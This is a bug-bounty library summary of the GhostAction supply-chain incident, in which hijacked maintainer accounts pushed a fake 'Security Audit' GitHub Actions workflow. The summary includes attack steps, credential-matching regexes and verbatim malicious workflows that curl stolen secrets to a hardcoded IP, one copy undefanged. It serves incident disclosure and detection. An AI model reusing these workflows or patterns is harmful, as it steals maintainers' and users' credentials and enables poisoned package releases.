# GhostAction Returns: Malicious “Security Audit” Workflows Now Mine Credentials from Entire Git Histories

Compromised maintainer accounts pushed a fake security-audit GitHub Actions workflow that exfiltrated Actions secrets and credentials from working trees and full git histories to a raw IP.

- Payout: Real-world hack
- Severity: critical
- Program: GitHub
- Analysis by: StepSecurity
- Disclosed: 2026-10-09
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/ghostaction-returns
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-ghostaction-returns
- Tags: area:cloud domain:cloud impact:data-leak impact:internal-access impact:mass-exploit kind:incident platform:threat-intel sev:critical tech:github-actions technique:source-review vuln:secrets-leak

**Target:** GitHub Actions workflows in open-source repositories
**Root cause:** Stolen maintainer PATs allowed direct commits of a workflow to default branches bypassing PR review; the workflow runs on any push with fetch-depth: 0 and greps secrets plus full git history, POSTing them to a hardcoded IP over plain HTTP.
**Steps:**
1. Obtain a maintainer's GitHub credential (leaked PAT from infostealer logs).
2. Scan repo workflow files for `${{ secrets.NAME }}` references and template exact names into payload.
3. Commit `.github/workflows/security-audit.yml` directly to default branch under victim identity with message 'Add security audit workflow'.
4. Workflow triggers on `push` (unfiltered) and `workflow_dispatch`; checks out with `fetch-depth: 0`.
5. Run `grep -rEiho "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|sk-ant-[A-Za-z0-9_-]{20,}|sk-proj-[A-Za-z0-9_-]{20,}|sk-or-(?:v1-)?[A-Za-z0-9_-]{30,}|ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{60,}|glpat-[A-Za-z0-9_-]{20,}|AIza[A-Za-z0-9_-]{35}|xox[baprs]-[A-Za-z0-9-]{10,}|SG\.[A-Za-z0-9_-]{16,}\.[A-Za-z0-9_-]{16,}|(?:aws_)?secret(?:_access)?_key[...]|aws_session_token[...]" --exclude-dir=.git .` for 13 credential patterns.
6. Run `git log -p --all | head -200000` and grep same patterns for historical secrets.
7. Capture ±2 lines around AKIA/ASIA hits delimited by `AKIA_CTX_START`/`AKIA_CTX_END` to pair key IDs with secret keys.
8. POST all data via `curl -s -m 20 -X POST --data-binary "$full" "http://193.32.204.199/?c=monami"`.
9. Re-trigger via manual workflow_dispatch or empty commits to repeat collection.
**How found:** GitGuardian analyzed injected workflows, commit metadata, and Actions run logs; the C2's 'OK' response body echoed in the athenadriver run log confirmed successful exfiltration. Hunting via code search for `AKIA_CTX_START`, `c=monami`, and the C2 IP in workflow files.
**Exploitation:** Attacker used compromised maintainer accounts (kitao, henrywoo) to push the workflow to 346 repos in two automated windows; the workflow ran on the injection push itself, exfiltrating named Actions secrets (e.g. pyxel's CARGO_REGISTRY_TOKEN, PYPI_PASSWORD) and any AWS/AI/GitHub/GitLab/Slack/SendGrid credentials found in tree or history to 193.32.204.199 over HTTP. C2 acknowledged receipt 4 seconds after run start.
**Escalation:** Stolen publishing tokens (PyPI, crates.io) would allow shipping malicious releases of an 18k-star library; stolen GitHub PATs enable further workflow injection; AWS key pairing via context capture yields full cloud account access.
**Insight:** A workflow committed directly to the default branch runs on that same push, so injection is self-triggering; and `fetch-depth: 0` plus `git log -p --all` reaches secrets deleted years ago, so rotating current Actions secrets is insufficient—any credential ever committed must be treated as leaked. The approval gate on workflow runs was the one control that stopped exfiltration.

## Proof of concept (copied exactly from the original report)

**Malicious security-audit.yml workflow from pyxel**

```
name: Security Audit
on:
 workflow_dispatch:
 push: # no branch or path filter
jobs:
 audit:
 runs-on: ubuntu-latest
 steps:
 - uses: actions/checkout@v4
 with:
 fetch-depth: 0 # ADDED - fetch every branch and tag
 - name: Audit
 run: |
 out="REPO=$GITHUB_REPOSITORY"

 # ---- INHERITED: GitHub Actions secret theft ----
 [ -n "CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}" ] && out="$out&CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}"

 # ---- ADDED: committed-credential sweep ----
 grepped=$(grep -rEiho "<13 CREDENTIAL PATTERNS>" --exclude-dir=.git . 2>/dev/null | sort -u)
 gl=$(git log -p --all 2>/dev/null | head -200000)
 hist=$(echo "$gl" | grep -oiE "<13 CREDENTIAL PATTERNS>" | sort -u | head -300)
 ctx=$(grep -rEi -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" --exclude-dir=.git . 2>/dev/null | head -150)
 hctx=$(echo "$gl" | grep -Ei -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" | head -150)

 full="$out
 AKIA_CTX_START
 $ctx
 $hctx
 AKIA_CTX_END
 $grepped
 $hist"
 if [ -n "$(echo $full | tr -d ' \n')" ]; then
 curl -s -m 20 -X POST --data-binary "$full" "hxxp://193.32.204[.]199/?c=monami" || true
 fi
```

**Variant A named-secrets exfiltration workflow**

```
name: Github Actions Security
on:
 workflow_dispatch:
 push:
jobs:
 send-secrets:
 runs-on: ubuntu-latest
 steps:
 - name: Prepare Cache Busting
 run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
 - name: Github Actions Security
 run: |
 curl -s -X POST -d 'API_MIRROR=${{ secrets.API_MIRROR }}&GITEE_TOKEN=${{ secrets.GITEE_TOKEN }}&SYNC_PV=${{ secrets.SYNC_PV }}' http://193.32.204.199
```

**Git history credential sweep commands**

```
gl=$(git log -p --all 2>/dev/null | head -200000)
hist=$(echo "$gl" | grep -oiE "<same 13 patterns>" | sort -u | head -300)
```

